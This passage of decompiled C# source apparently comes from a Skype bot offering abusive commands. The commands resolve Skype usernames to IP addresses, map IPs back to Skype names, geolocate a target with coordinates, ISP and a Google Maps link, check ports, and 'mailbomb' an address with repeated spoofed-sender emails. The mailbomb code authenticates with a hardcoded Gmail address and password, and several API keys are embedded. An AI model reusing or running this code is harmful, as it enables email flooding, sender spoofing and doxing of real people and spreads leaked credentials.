  5071.                                                 string text40 = Conversions.ToString(this.Resolve1(skype));
  5072.                                                 flag2 = MySettingsProperty.Settings.whitelist.Contains(text40);
  5073.                                                 if (flag2)
  5074.                                                 {
  5075.                                                     text40 = "IP of this user has been whitelisted! (or API is down)";
  5076.                                                 }
  5077.                                                 flag2 = (Operators.CompareString(text40, "error", true) == 0);
  5078.                                                 if (flag2)
  5079.                                                 {
  5080.                                                     text40 = "Failed!";
  5081.                                                 }
  5082.                                                 string str5 = "Resolver 1: " + text40 + "\r\nResolver 2: ";
  5083.                                                 chatMessage7.Body = str5 + "Resolving...\r\nCached IPs: Resolving...";
  5084.                                                 text40 = Conversions.ToString(this.Resolve2(skype));
  5085.                                                 flag2 = MySettingsProperty.Settings.whitelist.Contains(text40);
  5086.                                                 if (flag2)
  5087.                                                 {
  5088.                                                     text40 = "IP of this user has been whitelisted! (or API is down)";
  5089.                                                 }
  5090.                                                 flag2 = (Operators.CompareString(text40, "error", true) == 0);
  5091.                                                 if (flag2)
  5092.                                                 {
  5093.                                                     text40 = "Failed!";
  5094.                                                 }
  5095.                                                 str5 = str5 + text40 + "\r\nCached IPs: ";
  5096.                                                 chatMessage7.Body = str5 + "Resolving...";
  5097.                                                 text40 = Conversions.ToString(this.Cached(skype));
  5098.                                                 flag2 = MySettingsProperty.Settings.whitelist.Contains(text40);
  5099.                                                 if (flag2)
  5100.                                                 {
  5101.                                                     text40 = "IP of this user has been whitelisted! (or API is down)";
  5102.                                                 }
  5103.                                                 flag2 = (Operators.CompareString(text40, "error", true) == 0);
  5104.                                                 if (flag2)
  5105.                                                 {
  5106.                                                     text40 = "Failed!";
  5107.                                                 }
  5108.                                                 chatMessage7.Body = str5 + text40;
  5109.                                                 return;
  5110.                                             }
  5111.                                             string[] array16 = text39.Split(new char[]
  5112.                                             {
  5113.                                                 ' '
  5114.                                             });
  5115.                                             string text41 = "";
  5116.                                             int arg_38C2_0 = 0;
  5117.                                             int num13 = array16.Length - 1;
  5118.                                             int num14 = arg_38C2_0;
  5119.                                             while (true)
  5120.                                             {
  5121.                                                 int arg_3AA0_0 = num14;
  5122.                                                 int num3 = num13;
  5123.                                                 if (arg_3AA0_0 > num3)
  5124.                                                 {
  5125.                                                     break;
  5126.                                                 }
  5127.                                                 chatMessage7.Body = text41 + "Result " + Conversions.ToString(num14 + 1) + ": Resolving...; Resolving...; Resolving...";
  5128.                                                 string text42 = Conversions.ToString(this.Resolve1(array16[num14]));
  5129.                                                 chatMessage7.Body = string.Concat(new string[]
  5130.                                                 {
  5131.                                                     text41,
  5132.                                                     "Result ",
  5133.                                                     Conversions.ToString(num14 + 1),
  5134.                                                     ": ",
  5135.                                                     text42,
  5136.                                                     "; Resolving...; Resolving..."
  5137.                                                 });
  5138.                                                 string text43 = Conversions.ToString(this.Resolve2(array16[num14]));
  5139.                                                 chatMessage7.Body = string.Concat(new string[]
  5140.                                                 {
  5141.                                                     text41,
  5142.                                                     "Result ",
  5143.                                                     Conversions.ToString(num14 + 1),
  5144.                                                     ": ",
  5145.                                                     text42,
  5146.                                                     "; ",
  5147.                                                     text43,
  5148.                                                     "; Resolving..."
  5149.                                                 });
  5150.                                                 string text44 = Conversions.ToString(this.Cached(array16[num14]));
  5151.                                                 chatMessage7.Body = string.Concat(new string[]
  5152.                                                 {
  5153.                                                     text41,
  5154.                                                     "Result ",
  5155.                                                     Conversions.ToString(num14 + 1),
  5156.                                                     ": ",
  5157.                                                     text42,
  5158.                                                     "; ",
  5159.                                                     text43,
  5160.                                                     "; ",
  5161.                                                     text44
  5162.                                                 });
  5163.                                                 text41 = chatMessage7.Body + "\r\n";
  5164.                                                 num14++;
  5165.                                             }
  5166.                                         }
  5167.                                         flag2 = (Operators.CompareString(text, "mailbomb", true) == 0);
  5168.                                         if (flag2)
  5169.                                         {
  5170.                                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "mailbomb <times> <email> <spoofmail> <msg>");
  5171.                                         }
  5172.                                         flag2 = text.StartsWith("mailbomb ");
  5173.                                         if (flag2)
  5174.                                         {
  5175.                                             ChatMessage chatMessage8 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  5176.                                             string text45 = text.Replace("mailbomb ", "");
  5177.                                             string[] array17 = text45.Split(new char[]
  5178.                                             {
  5179.                                                 ' '
  5180.                                             });
  5181.                                             string text46 = "";
  5182.                                             string text47 = "";
  5183.                                             try
  5184.                                             {
  5185.                                                 text46 = array17[1];
  5186.                                                 string text48 = array17[2];
  5187.                                                 text47 = array17[3];
  5188.                                             }
  5189.                                             catch (Exception expr_3CF0)
  5190.                                             {
  5191.                                                 ProjectData.SetProjectError(expr_3CF0);
  5192.                                                 this.AddSwagToMSG(chatMessage8, "Recheck your syntax (!help mailbomb)", 0);
  5193.                                                 ProjectData.ClearProjectError();
  5194.                                             }
  5195.                                             flag2 = (!text46.Contains("@") | !text46.Contains(".") | text46.Length < 6);
  5196.                                             if (flag2)
  5197.                                             {
  5198.                                                 this.AddSwagToMSG(chatMessage8, "ERROR: Invalid email!", 0);
  5199.                                                 return;
  5200.                                             }
  5201.                                             flag2 = (text47.Length < 1);
  5202.                                             if (flag2)
  5203.                                             {
  5204.                                                 this.AddSwagToMSG(chatMessage8, "ERROR: Please enter a longer message!", 0);
  5205.                                                 return;
  5206.                                             }
  5207.                                             this.AddSwagToMSG(chatMessage8, "Making MSG...", 0);
  5208.                                             flag2 = Versioned.IsNumeric(array17[0]);
  5209.                                             if (!flag2)
  5210.                                             {
  5211.                                                 this.AddSwagToMSG(chatMessage8, "ERROR: You entered an invalid number, try to swap the number and msg!", 0);
  5212.                                                 return;
  5213.                                             }
  5214.                                             flag = Conversions.ToBoolean(this.IsUltimate(closure$__.$VB$Local_msg.Sender.Handle));
  5215.                                             if (!flag)
  5216.                                             {
  5217.                                                 flag2 = Conversions.ToBoolean(Operators.AndObject(Conversions.ToDouble(array17[0]) > 60.0, this.IsPremium(closure$__.$VB$Local_msg.Sender.Handle)));
  5218.                                                 if (flag2)
  5219.                                                 {
  5220.                                                     array17[0] = Conversions.ToString(60);
  5221.                                                 }
  5222.                                                 else
  5223.                                                 {
  5224.                                                     flag2 = Conversions.ToBoolean(Operators.AndObject(Conversions.ToDouble(array17[0]) > 10.0, this.IsNormalUser(closure$__.$VB$Local_msg.Sender.Handle)));
  5225.                                                     if (flag2)
  5226.                                                     {
  5227.                                                         array17[0] = Conversions.ToString(10);
  5228.                                                     }
  5229.                                                 }
  5230.                                             }
  5231.                                             int arg_3E9C_0 = 4;
  5232.                                             int num15 = array17.Length - 1;
  5233.                                             int num16 = arg_3E9C_0;
  5234.                                             while (true)
  5235.                                             {
  5236.                                                 int arg_3EC8_0 = num16;
  5237.                                                 int num3 = num15;
  5238.                                                 if (arg_3EC8_0 > num3)
  5239.                                                 {
  5240.                                                     break;
  5241.                                                 }
  5242.                                                 text47 = text47 + " " + array17[num16];
  5243.                                                 num16++;
  5244.                                             }
  5245.                                             MailMessage mailMessage = new MailMessage();
  5246.                                             SmtpClient smtpClient = new SmtpClient();
  5247.                                             flag2 = !text46.Contains("aol.com");
  5248.                                             if (flag2)
  5249.                                             {
  5250.                                                 mailMessage.From = new MailAddress(array17[2], array17[2]);
  5251.                                             }
  5252.                                             else
  5253.                                             {
  5254.                                                 mailMessage.From = new MailAddress("lesleydk.ldk@gmail.com", array17[2].Replace("@", " ").Replace(".", " "));
  5255.                                             }
  5256.                                             mailMessage.To.Add(text46);
  5257.                                             mailMessage.Body = text47;
  5258.                                             smtpClient.Host = "smtp.gmail.com";
  5259.                                             smtpClient.Port = 587;
  5260.                                             smtpClient.EnableSsl = true;
  5261.                                             smtpClient.Credentials = new NetworkCredential("lesleydk.ldk@gmail.com", "aqlekccogegkksro");
  5262.                                             double arg_3FB1_0 = 0.0;
  5263.                                             unchecked
  5264.                                             {
  5265.                                                 double num17 = Conversions.ToDouble(array17[0]) - 1.0;
  5266.                                                 double num18 = arg_3FB1_0;
  5267.                                                 while (true)
  5268.                                                 {
  5269.                                                     double arg_4068_0 = num18;
  5270.                                                     double num19 = num17;
  5271.                                                     if (arg_4068_0 > num19)
  5272.                                                     {
  5273.                                                         break;
  5274.                                                     }
  5275.                                                     chatMessage8.Body = string.Concat(new string[]
  5276.                                                     {
  5277.                                                         "Sending MSG ",
  5278.                                                         Conversions.ToString(num18 + 1.0),
  5279.                                                         "/",
  5280.                                                         array17[0],
  5281.                                                         "."
  5282.                                                     });
  5283.                                                     mailMessage.Subject = array17[3] + "... " + Conversions.ToString(num18 + 1.0);
  5284.                                                     smtpClient.Send(mailMessage);
  5285.                                                     num18 += 1.0;
  5286.                                                 }
  5287.                                                 this.AddSwagToMSG(chatMessage8, "#MailBombed", 0);
  5288.                                             }
  5289.                                         }
  5290.                                         flag2 = (Operators.CompareString(text, "ip2s", true) == 0);
  5291.                                         if (flag2)
  5292.                                         {
  5293.                                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "ip2s <ip>");
  5294.                                         }
  5295.                                         flag2 = text.StartsWith("ip2s ");
  5296.                                         if (flag2)
  5297.                                         {
  5298.                                             string str6 = text.Replace("ip2s ", "");
  5299.                                             WebClient webClient13 = new WebClient();
  5300.                                             webClient13.Proxy = null;
  5301.                                             ChatMessage msg40 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  5302.                                             webClient13.Headers.Add(HttpRequestHeader.Referer, "http://api.c99.nl/cmd/");
  5303.                                             string message4 = webClient13.DownloadString("http://api.c99.nl/ip2skype.php?key=skypebotje123&ip=" + str6);
  5304.                                             this.AddSwagToMSG(msg40, message4, 0);
  5305.                                         }
  5306.                                         else
  5307.                                         {
  5308.                                             flag2 = (Operators.CompareString(text, "nameinfo", true) == 0);
  5309.                                             if (flag2)
  5310.                                             {
  5311.                                                 closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "nameinfo <firstname> <last name>");
  5312.                                             }
  5313.                                             flag2 = text.StartsWith("nameinfo ");
  5314.                                             if (flag2)
  5315.                                             {
  5316.                                                 ChatMessage msg41 = closure$__.$VB$Local_msg.Chat.SendMessage("Searching...");
  5317.                                                 WebClient webClient14 = new WebClient();
  5318.                                                 webClient14.Proxy = null;
  5319.                                                 string[] array18 = text.Replace("nameinfo ", "").Split(new char[]
  5320.                                                 {
  5321.                                                     ' '
  5322.                                                 });
  5323.                                                 string str7 = array18[0];
  5324.                                                 string text49 = array18[1];
  5325.                                                 int arg_4208_0 = 2;
  5326.                                                 int num20 = array18.Length - 1;
  5327.                                                 int num21 = arg_4208_0;
  5328.                                                 while (true)
  5329.                                                 {
  5330.                                                     int arg_422F_0 = num21;
  5331.                                                     int num3 = num20;
  5332.                                                     if (arg_422F_0 > num3)
  5333.                                                     {
  5334.                                                         break;
  5335.                                                     }
  5336.                                                     text49 += array18[num21];
  5337.                                                     num21++;
  5338.                                                 }
  5339.                                                 string text50 = webClient14.DownloadString("http://api.icndb.com/jokes/random?firstName=" + str7 + "&lastName=" + text49);
  5340.                                                 flag2 = text50.Contains("success");
  5341.                                                 if (flag2)
  5342.                                                 {
  5343.                                                     this.AddSwagToMSG(msg41, Conversions.ToString(this.Decodehtml(Regex.Match(text50, MySettingsProperty.Settings.regexnameinfo, RegexOptions.IgnoreCase).Value.ToString().Replace(MySettingsProperty.Settings.prf6, "").Replace("\",", ""))), 0);
  5344.                                                 }
  5345.                                                 else
  5346.                                                 {
  5347.                                                     this.AddSwagToMSG(msg41, "Error.", 0);
  5348.                                                 }
  5349.                                             }
  5350.                                             else
  5351.                                             {
  5352.                                                 flag2 = (Operators.CompareString(text, "crawl", true) == 0);
  5353.                                                 if (flag2)
  5354.                                                 {
  5355.                                                     closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "crawl <page>");
  5356.                                                 }
  5357.                                                 flag2 = text.StartsWith("crawl ");
  5358.                                                 if (flag2)
  5359.                                                 {
  5360.                                                     string str8 = text.Replace("crawl ", "").Replace(" ", "");
  5361.                                                     ChatMessage msg42 = closure$__.$VB$Local_msg.Chat.SendMessage("Crawling...");
  5362.                                                     this.AddSwagToMSG(msg42, "Crawling...", 0);
  5363.                                                     string message5 = Conversions.ToString(this.paste("------------------------\r\n" + new WebClient
  5364.                                                     {
  5365.                                                         Proxy = null
  5366.                                                     }.DownloadString("http://api.hackertarget.com/pagelinks/?q=" + str8).Replace(" ", "%20").Replace("  ", "%20%20") + "------------------------", "Crawl of " + str8));
  5367.                                                     this.AddSwagToMSG(msg42, message5, 0);
  5368.                                                 }
  5369.                                                 flag2 = (Operators.CompareString(text, "geo", true) == 0);
  5370.                                                 if (flag2)
  5371.                                                 {
  5372.                                                     closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "geo <ip>");
  5373.                                                 }
  5374.                                                 flag2 = text.StartsWith("geo ");
  5375.                                                 if (flag2)
  5376.                                                 {
  5377.                                                     string text51 = text.Replace("geo ", "").Replace(" ", "");
  5378.                                                     ChatMessage msg43 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  5379.                                                     this.AddSwagToMSG(msg43, "Initializing...", 0);
  5380.                                                     string text52 = text51;
  5381.                                                     flag2 = text52.Contains(":");
  5382.                                                     if (flag2)
  5383.                                                     {
  5384.                                                         string[] array19 = text52.Split(new char[]
  5385.                                                         {
  5386.                                                             ':'
  5387.                                                         });
  5388.                                                         text52 = array19[0];
  5389.                                                     }
  5390.                                                     string text53 = "";
  5391.                                                     string text54 = "";
  5392.                                                     string text55 = "";
  5393.                                                     string text56 = "";
  5394.                                                     string text57 = "";
  5395.                                                     string text58 = "";
  5396.                                                     flag2 = this.microsoftip(text52).ToString().ToLower().Contains("true");
  5397.                                                     int num22;
  5398.                                                     if (flag2)
  5399.                                                     {
  5400.                                                         num22 = 1;
  5401.                                                     }
  5402.                                                     else
  5403.                                                     {
  5404.                                                         num22 = 0;
  5405.                                                     }
  5406.                                                     WebClient webClient15 = new WebClient();
  5407.                                                     webClient15.Proxy = null;
  5408.                                                     this.AddSwagToMSG(msg43, "Checking for skype usernames...", 0);
  5409.                                                     flag2 = (num22 == 0);
  5410.                                                     if (flag2)
  5411.                                                     {
  5412.                                                         try
  5413.                                                         {
  5414.                                                             webClient15.Headers.Add(HttpRequestHeader.Referer, "http://api.c99.nl/cmd/");
  5415.                                                             text58 = webClient15.DownloadString("http://api.c99.nl/ip2skype.php?key=skypebotje123&ip=" + text52);
  5416.                                                         }
  5417.                                                         catch (Exception expr_45A4)
  5418.                                                         {
  5419.                                                             ProjectData.SetProjectError(expr_45A4);
  5420.                                                             this.AddSwagToMSG(msg43, "Error", 0);
  5421.                                                             ProjectData.ClearProjectError();
  5422.                                                         }
  5423.                                                     }
  5424.                                                     else
  5425.                                                     {
  5426.                                                         this.AddSwagToMSG(msg43, "Error or this is a microsoft IP.", 0);
  5427.                                                     }
  5428.                                                     this.AddSwagToMSG(msg43, "Getting main info...", 0);
  5429.                                                     string text59 = webClient15.DownloadString("http://geoip.maxmind.com/f?l=wnFd0cyKvtLe&i=" + text52);
  5430.                                                     string[] array20 = text59.Split(new char[]
  5431.                                                     {
  5432.                                                         ','
  5433.                                                     });
  5434.                                                     text57 = array20[8].Replace("\"", "");
  5435.                                                     string[] array21 = MySettingsProperty.Settings.countrycodes.Split(new string[]
  5436.                                                     {
  5437.                                                         Environment.NewLine
  5438.                                                     }, StringSplitOptions.None);
  5439.                                                     string str9 = "Unknown";
  5440.                                                     int arg_4671_0 = 0;
  5441.                                                     int num23 = array21.Length - 1;
  5442.                                                     int num24 = arg_4671_0;
  5443.                                                     string[] array22;
  5444.                                                     while (true)
  5445.                                                     {
  5446.                                                         int arg_46E0_0 = num24;
  5447.                                                         int num3 = num23;
  5448.                                                         if (arg_46E0_0 > num3)
  5449.                                                         {
  5450.                                                             goto IL_46E2;
  5451.                                                         }
  5452.                                                         array22 = array21[num24].Split(new char[]
  5453.                                                         {
  5454.                                                             ','
  5455.                                                         });
  5456.                                                         flag2 = (Operators.CompareString(array22[0], array20[0], true) == 0);
  5457.                                                         if (flag2)
  5458.                                                         {
  5459.                                                             break;
  5460.                                                         }
  5461.                                                         num24++;
  5462.                                                     }
  5463.                                                     str9 = array22[1].Replace("\"", "");
  5464.                                                     IL_46E2:
  5465.                                                     string str10 = "Unknown";
  5466.                                                     array21 = MySettingsProperty.Settings.regioncodes.Split(new string[]
  5467.                                                     {
  5468.                                                         Environment.NewLine
  5469.                                                     }, StringSplitOptions.None);
  5470.                                                     int arg_4720_0 = 0;
  5471.                                                     int num25 = array21.Length - 1;
  5472.                                                     int num26 = arg_4720_0;
  5473.                                                     string[] array23;
  5474.                                                     while (true)
  5475.                                                     {
  5476.                                                         int arg_47AB_0 = num26;
  5477.                                                         int num3 = num25;
  5478.                                                         if (arg_47AB_0 > num3)
  5479.                                                         {
  5480.                                                             goto IL_47B0;
  5481.                                                         }
  5482.                                                         array23 = array21[num26].Split(new char[]
  5483.                                                         {
  5484.                                                             ','
  5485.                                                         });
  5486.                                                         flag2 = (Operators.CompareString(array23[0] + "," + array23[1], array20[0] + "," + array20[1], true) == 0);
  5487.                                                         if (flag2)
  5488.                                                         {
  5489.                                                             break;
  5490.                                                         }
  5491.                                                         num26++;
  5492.                                                     }
  5493.                                                     str10 = array23[2].Replace("\"", "");
  5494.                                                     IL_47B0:
  5495.                                                     text53 = array20[0] + ", " + str9;
  5496.                                                     text54 = str10 + ", " + array20[2];
  5497.                                                     text56 = array20[4];
  5498.                                                     this.AddSwagToMSG(msg43, "Getting ReserveDNS info...", 0);
  5499.                                                     try
  5500.                                                     {
  5501.                                                         IPHostEntry hostEntry = Dns.GetHostEntry(text52);
  5502.                                                         string text60 = hostEntry.HostName.ToString();
  5503.                                                         flag2 = (hostEntry.Aliases.Length > 0);
  5504.                                                         if (flag2)
  5505.                                                         {
  5506.                                                             int num27 = 0;
  5507.                                                             string[] aliases = hostEntry.Aliases;
  5508.                                                             for (int j = 0; j < aliases.Length; j++)
  5509.                                                             {
  5510.                                                                 string text61 = aliases[j];
  5511.                                                                 num27++;
  5512.                                                                 text60 = string.Concat(new string[]
  5513.                                                                 {
  5514.                                                                     text60,
  5515.                                                                     "\r\nNr",
  5516.                                                                     Conversions.ToString(num27),
  5517.                                                                     " host: ",
  5518.                                                                     text61
  5519.                                                                 });
  5520.                                                             }
  5521.                                                         }
  5522.                                                         text55 = text60;
  5523.                                                     }
  5524.                                                     catch (Exception expr_48B5)
  5525.                                                     {
  5526.                                                         ProjectData.SetProjectError(expr_48B5);
  5527.                                                         text55 = "Error";
  5528.                                                         ProjectData.ClearProjectError();
  5529.                                                     }
  5530.                                                     string text62 = array20[5];
  5531.                                                     text59 = webClient15.DownloadString("http://api.ipinfodb.com/v3/ip-city/?key=d8dc071351f3b1882b26d5b6820df28eaf2528a2746d78ea4fcbfbe5fe52089d&ip=" + text52 + "&timezone=true");
  5532.                                                     array20 = text59.Split(new char[]
  5533.                                                     {
  5534.                                                         ';'
  5535.                                                     });
  5536.                                                     flag2 = (Operators.CompareString(array20[0], "OK", true) == 0);
  5537.                                                     string message6;
  5538.                                                     if (flag2)
  5539.                                                     {
  5540.                                                         string text63 = array20[7];
  5541.                                                         string text64 = array20[10];
  5542.                                                         flag2 = text56.EndsWith("0");
  5543.                                                         if (flag2)
  5544.                                                         {
  5545.                                                             text56 = text56.Remove(text56.Length - 1);
  5546.                                                         }
  5547.                                                         flag2 = text56.EndsWith("0");
  5548.                                                         if (flag2)
  5549.                                                         {
  5550.                                                             text56 = text56.Remove(text56.Length - 1);
  5551.                                                         }
  5552.                                                         flag2 = text56.EndsWith("0");
  5553.                                                         if (flag2)
  5554.                                                         {
  5555.                                                             text56 = text56.Remove(text56.Length - 1);
  5556.                                                         }
  5557.                                                         flag2 = text56.EndsWith("0");
  5558.                                                         if (flag2)
  5559.                                                         {
  5560.                                                             text56 = text56.Remove(text56.Length - 1);
  5561.                                                         }
  5562.                                                         flag2 = text56.EndsWith("0");
  5563.                                                         if (flag2)
  5564.                                                         {
  5565.                                                             text56 = text56.Remove(text56.Length - 1);
  5566.                                                         }
  5567.                                                         flag2 = text56.EndsWith("0");
  5568.                                                         if (flag2)
  5569.                                                         {
  5570.                                                             text56 = text56.Remove(text56.Length - 1);
  5571.                                                         }
  5572.                                                         flag2 = text56.EndsWith("0");
  5573.                                                         if (flag2)
  5574.                                                         {
  5575.                                                             text56 = text56.Remove(text56.Length - 1);
  5576.                                                         }
  5577.                                                         flag2 = text56.EndsWith("0");
  5578.                                                         if (flag2)
  5579.                                                         {
  5580.                                                             text56 = text56.Remove(text56.Length - 1);
  5581.                                                         }
  5582.                                                         flag2 = text56.EndsWith("0");
  5583.                                                         if (flag2)
  5584.                                                         {
  5585.                                                             text56 = text56.Remove(text56.Length - 1);
  5586.                                                         }
  5587.                                                         flag2 = text56.EndsWith("0");
  5588.                                                         if (flag2)
  5589.                                                         {
  5590.                                                             text56 = text56.Remove(text56.Length - 1);
  5591.                                                         }
  5592.                                                         flag2 = text62.EndsWith("0");
  5593.                                                         if (flag2)
  5594.                                                         {
  5595.                                                             text62 = text62.Remove(text62.Length - 1);
  5596.                                                         }
  5597.                                                         flag2 = text62.EndsWith("0");
  5598.                                                         if (flag2)
  5599.                                                         {
  5600.                                                             text62 = text62.Remove(text62.Length - 1);
  5601.                                                         }
  5602.                                                         flag2 = text62.EndsWith("0");
  5603.                                                         if (flag2)
  5604.                                                         {
  5605.                                                             text62 = text62.Remove(text62.Length - 1);
  5606.                                                         }
  5607.                                                         flag2 = text62.EndsWith("0");
  5608.                                                         if (flag2)
  5609.                                                         {
  5610.                                                             text62 = text62.Remove(text62.Length - 1);
  5611.                                                         }
  5612.                                                         flag2 = text62.EndsWith("0");
  5613.                                                         if (flag2)
  5614.                                                         {
  5615.                                                             text62 = text62.Remove(text62.Length - 1);
  5616.                                                         }
  5617.                                                         flag2 = text62.EndsWith("0");
  5618.                                                         if (flag2)
  5619.                                                         {
  5620.                                                             text62 = text62.Remove(text62.Length - 1);
  5621.                                                         }
  5622.                                                         flag2 = text62.EndsWith("0");
  5623.                                                         if (flag2)
  5624.                                                         {
  5625.                                                             text62 = text62.Remove(text62.Length - 1);
  5626.                                                         }
  5627.                                                         flag2 = text62.EndsWith(".");
  5628.                                                         if (flag2)
  5629.                                                         {
  5630.                                                             text62 = text62.Remove(text62.Length - 1);
  5631.                                                         }
  5632.                                                         flag2 = text56.EndsWith(".");
  5633.                                                         if (flag2)
  5634.                                                         {
  5635.                                                             text62 = text62.Remove(text62.Length - 1);
  5636.                                                         }
  5637.                                                         message6 = string.Concat(new string[]
  5638.                                                         {
  5639.                                                             "IP: ",
  5640.                                                             text52,
  5641.                                                             "\r\nLocation: ",
  5642.                                                             text53,
  5643.                                                             ", ",
  5644.                                                             text54,
  5645.                                                             "\r\nCoordinates: LA: ",
  5646.                                                             text56,
  5647.                                                             " LO: ",
  5648.                                                             text62,
  5649.                                                             "\r\nTimezone: ",
  5650.                                                             text64,
  5651.                                                             "\r\nSkype Name: ",
  5652.                                                             text58,
  5653.                                                             "\r\nISP: ",
  5654.                                                             text57,
  5655.                                                             "\r\nDNS: ",
  5656.                                                             text55,
  5657.                                                             "\r\nGoogle Maps: https://maps.google.com/?ll=",
  5658.                                                             text56,
  5659.                                                             ",",
  5660.                                                             text62
  5661.                                                         });
  5662.                                                     }
  5663.                                                     else
  5664.                                                     {
  5665.                                                         message6 = "ERROR: Invalid IP";
  5666.                                                     }
  5667.                                                     this.AddSwagToMSG(msg43, message6, 0);
  5668.                                                 }
  5669.                                                 else
  5670.                                                 {
  5671.                                                     flag2 = (Operators.CompareString(text, "portopen", true) == 0);
  5672.                                                     if (flag2)
  5673.                                                     {
  5674.                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "portopen <ip> <port>");
  5675.                                                     }
  5676.                                                     flag2 = text.StartsWith("portopen ");
  5677.                                                     if (flag2)
  5678.                                                     {
  5679.                                                         ChatMessage chatMessage9 = closure$__.$VB$Local_msg.Chat.SendMessage("Checking the port...");
  5680.                                                         string[] array24 = text.Replace("portopen ", "").Split(new char[]
  5681.                                                         {
  5682.                                                             ' '
  5683.                                                         });
  5684.                                                         string text65 = array24[0];
  5685.                                                         string text66 = array24[1];
  5686.                                                         flag2 = Operators.ConditionalCompareObjectEqual(this.isportopen(text65, text66), true, true);
  5687.                                                         if (flag2)
  5688.                                                         {
  5689.                                                             chatMessage9.Body = string.Concat(new string[]
  5690.                                                             {
  5691.                                                                 "Port on ",
  5692.                                                                 text65,
  5693.                                                                 ":",
  5694.                                                                 text66,
  5695.                                                                 " is open!"
  5696.                                                             });
  5697.                                                         }
  5698.                                                         else
  5699.                                                         {
  5700.                                                             chatMessage9.Body = string.Concat(new string[]
  5701.                                                             {
  5702.                                                                 "Port on ",
  5703.                                                                 text65,
  5704.                                                                 ":",
  5705.                                                                 text66,
  5706.                                                                 " is closed!"
  5707.                                                             });
  5708.                                                         }
  5709.                                                     }
  5710.                                                     flag2 = (Operators.CompareString(text, "game", true) == 0);
  5711.                                                     if (flag2)
  5712.                                                     {
  5713.                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "game <help/parameters>");
  5714.                                                     }
  5715.                                                     flag2 = text.StartsWith("game ");
  5716.                                                     if (flag2)
  5717.                                                     {
  5718.                                                         ChatMessage chatMessage10 = closure$__.$VB$Local_msg.Chat.SendMessage("Gaming...");
  5719.                                                         string text67 = text.Replace("game ", "");
  5720.                                                         flag2 = (Operators.CompareString(text67, "help", true) == 0);
  5721.                                                         if (flag2)
  5722.                                                         {
  5723.                                                             chatMessage10.Body = MySettingsProperty.Settings.gamehelp;
  5724.                                                             return;
  5725.                                                         }
  5726.                                                         flag2 = (Operators.CompareString(text67, "tut", true) == 0);
  5727.                                                         if (flag2)
  5728.                                                         {
  5729.                                                             chatMessage10.Body = MySettingsProperty.Settings.gametut;
  5730.                                                             return;
  5731.                                                         }
  5732.                                                         MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(";;", ";");
  5733.                                                         string text68 = MySettingsProperty.Settings.gamedat;
  5734.                                                         string[] array25 = text68.Split(new char[]
  5735.                                                         {
  5736.                                                             ';'
  5737.                                                         });
  5738.                                                         int arg_501B_0 = 0;
  5739.                                                         int num28 = array25.Length - 2;
  5740.                                                         int num29 = arg_501B_0;
  5741.                                                         string left2;
  5742.                                                         while (true)
  5743.                                                         {
  5744.                                                             int arg_50A8_0 = num29;
  5745.                                                             int num3 = num28;
  5746.                                                             if (arg_50A8_0 > num3)
  5747.                                                             {
  5748.                                                                 goto Block_210;
  5749.                                                             }
  5750.                                                             text68 = array25[num29];
  5751.                                                             string[] array26 = text68.Split(new char[]
  5752.                                                             {
  5753.                                                                 '|'
  5754.                                                             });
  5755.                                                             left2 = array26[0];
  5756.                                                             int num30 = Conversions.ToInteger(array26[1]);
  5757.                                                             string text69 = array26[2].Replace(";", "");
  5758.                                                             flag2 = (Operators.CompareString(left2, closure$__.$VB$Local_msg.Sender.Handle, true) == 0);
  5759.                                                             if (flag2)
  5760.                                                             {
  5761.                                                                 break;
  5762.                                                             }
  5763.                                                             num29++;
  5764.                                                         }
  5765.                                                         goto IL_50B5;
  5766.                                                         Block_210:
  5767.                                                         left2 = "énotfound";
  5768.                                                         IL_50B5:
  5769.                                                         flag2 = (Operators.CompareString(text67, "gen", true) == 0);
  5770.                                                         if (flag2)
  5771.                                                         {
  5772.                                                             VBMath.Randomize();
  5773.                                                             flag2 = (Operators.CompareString(left2, "énotfound", true) == 0);
  5774.                                                             if (flag2)
  5775.                                                             {
  5776.                                                                 MySettingsProperty.Settings.gamedat = string.Concat(new string[]
  5777.                                                                 {
  5778.                                                                     MySettingsProperty.Settings.gamedat,
  5779.                                                                     closure$__.$VB$Local_msg.Sender.Handle,
  5780.                                                                     "|",
  5781.                                                                     Conversions.ToString((int)Math.Round(Math.Ceiling((double)unchecked(VBMath.Rnd() * 10000f)))),
  5782.                                                                     "|0;"
  5783.                                                                 });
  5784.                                                                 MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(";;", ";");
  5785.                                                             }
  5786.                                                             else
  5787.                                                             {
  5788.                                                                 string value2 = Regex.Match(MySettingsProperty.Settings.gamedat, closure$__.$VB$Local_msg.Sender.Handle + "\\|([0-9]+)\\|([0-9]+);", RegexOptions.IgnoreCase).Value;
  5789.                                                                 MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(value2, closure$__.$VB$Local_msg.Sender.Handle + "|" + Conversions.ToString((int)Math.Round(Math.Ceiling((double)unchecked(VBMath.Rnd() * 10000f)))) + "|0;");
  5790.                                                                 MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(";;", ";");
  5791.                                                             }
  5792.                                                             this.AddSwagToMSG(chatMessage10, "New game generated! Try a number!", 0);
  5793.                                                             return;
  5794.                                                         }
  5795.                                                         VBMath.Randomize();
  5796.                                                         flag2 = text67.StartsWith("gen ");
  5797.                                                         if (flag2)
  5798.                                                         {
  5799.                                                             VBMath.Randomize();
  5800.                                                             int num31 = Conversions.ToInteger(text67.Replace("gen ", ""));
  5801.                                                             flag2 = (Operators.CompareString(left2, "énotfound", true) == 0);
  5802.                                                             if (flag2)
  5803.                                                             {
  5804.                                                                 MySettingsProperty.Settings.gamedat = string.Concat(new string[]
  5805.                                                                 {
  5806.                                                                     MySettingsProperty.Settings.gamedat,
  5807.                                                                     closure$__.$VB$Local_msg.Sender.Handle,
  5808.                                                                     "|",
